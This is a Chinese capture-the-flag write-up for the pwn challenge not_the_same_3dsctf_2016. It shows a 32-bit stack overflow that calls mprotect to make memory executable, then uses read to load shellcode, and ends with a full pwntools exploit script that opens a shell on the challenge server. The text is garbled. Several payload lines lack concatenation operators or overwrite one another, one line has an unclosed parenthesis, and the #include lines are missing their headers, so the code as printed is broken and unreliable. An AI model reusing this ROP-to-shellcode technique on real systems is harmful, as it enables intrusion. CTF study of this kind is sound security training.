pwn刷题记录之not_the_same_3dsctf_2016
时间:2023-03-13 07:00:00
前言:这个话题有一个从未见过的姿势,写一篇来记录它
一、checksec看一下保护
开栈不能保护
二、main函数
发现了gets()函数存在栈溢出
三、get_secret函数
1)分析
我们发现 flag.txt存在的那个&unk...里面
然后fgets函数不能实现栈溢出,否则可以考虑栈溢出,然后使用write函数读取该区域
2)我们需要在这里使用我们的新姿势来搜索mprotect函数
这里补充一下ida的小操作,我们可以把鼠标放在左函数名列表上ctrl f可搜索函数名
3)mprotect()函数说明
在Linux中,mprotect()函数可用于修改指定内存区域的保护属性。
函数原型如下:
#include
#include
int mprotect(const void *start, size_t len, int prot);
mprotect()函数自我start开始的、长度为len内存区的保护属性修改为prot指定的值。
prot可以取以下值并使用|将几个属性结合起来:
1)PROT_READ:内存段内容可读;
2)PROT_WRITE:内存段内容可写;
3)PROT_EXEC:表示内存段内容可执行;
4)PROT_NONE:内存段中的内容根本无法访问。
需要指出的是,锁指定的内存范围必须包含整个内存页面(4K)。区间开始的地址start必须是内存页面的起始地址,间隔长度len必须是页面大小的整数倍。
如果执行成功,返回0;如果执行失败,返回-1并设置errno变量表明调用失败的具体原因是什么。错误的主要原因如下:
1)EACCES
内存不能设置为相应的权限。例如,如果你 mmap(2) 映射文件只读,然后使用 mprotect() 标志为 PROT_WRITE。
2)EINVAL
start 它不是一个有效的指针,而是指内存页面的开头。
3)ENOMEM
内核内部的结构体无法分配。
4)ENOMEM
该过程的地址空间在范围内 [start, start len] 范围内无效,或一个或多个内存页面无映射。
如果调用过程中的内存访问侵犯了这些设置的保护属性,内核就会产生过程 SIGSEGV (Segmentation fault,段错)信号,并终止过程。
简而言之,可以修改栈的执行权限
四、运用思路
ctrl s检查段表,修改.got.plt(0x080EB可读可写可执行
有人怀疑为什么0是0x80EB000而不是bss段的开头0x80EBF80,因为指定的内存范围必须包含整个内存页面(4K),起始地址 start 必须是内存页面的起始地址,间隔长度 len 必须是页面大小的整数倍。
通过ROPgadget找出我们需要的,因为mprotect我们需要三个参数,所以我们有三个pop一个ret的就好啦
我们在这里找到的地址是0x0806fcc8
payload =b'a'*0x2d p32(mprotect) p32(pop3_ret)
第一个是栈溢出,注意这里不用覆盖exp
并不是每个程序都有编译器或其他原因esp(虽然大部分都有)
提醒:不要直接做题F还是要看汇编
第二个是mprotect函数返回地址
第三个是我们找到的三个pop的地址
payload =p32(addr) p32(0x100) p32(0x7)
一是修改地址
第二个是修改长度
第三种修改为可读可写可执行,修改为0x7就好了
payload =p32(read) p32(pop3_ret)
第一个将返回地址修改为read函数返回地址
第二个是三个pop的地址
payload =p32(0) p32(addr) p32(len(shellcode)) p32(addr)
前三个是read函数的参数
第一个是read函数从哪里开始读取? 默认为0就好
二是执行地在哪里 用我们修改的地址
三是阅读的大小 大一点没关系,主要够我们写了。shellcode
最后一位将read函数的返回地址改为修改地址
最后完整wp
from pwn import *
p = remote("node4.buuoj.cn",26430)
elf = ELF('111')
read = elf.symbols['read']
mprotect = 0x0806ED40
addr = 0x080EB000
size1 = 0x7
size2 = 0x100
pop3_ret = 0x0806fcc8
shellcode = asm(shellcraft.sh())
#payload = b'a'*(0x2d)
#payload = p32(mpro_addr)
#payload = p32(target_addr)
payload =b'a'*0x2d p32(mprotect) p32(pop3_ret)
payload =p32(addr) p32(0x100) p32(0x7)
payload =p32(read) p32(pop3_ret
payload +=p32(0)+p32(addr)+p32(len(shellcode))+p32(addr)
p.sendline(payload)
p.sendline(shellcode)
p.interactive()
这里解答一下为什么需要两个sendline,第二次的输入相当于给read函数输入,因为payload中构造的read函数还没有参数输入
参考博客
C语言之 mprotect - Max_hhg - 博客园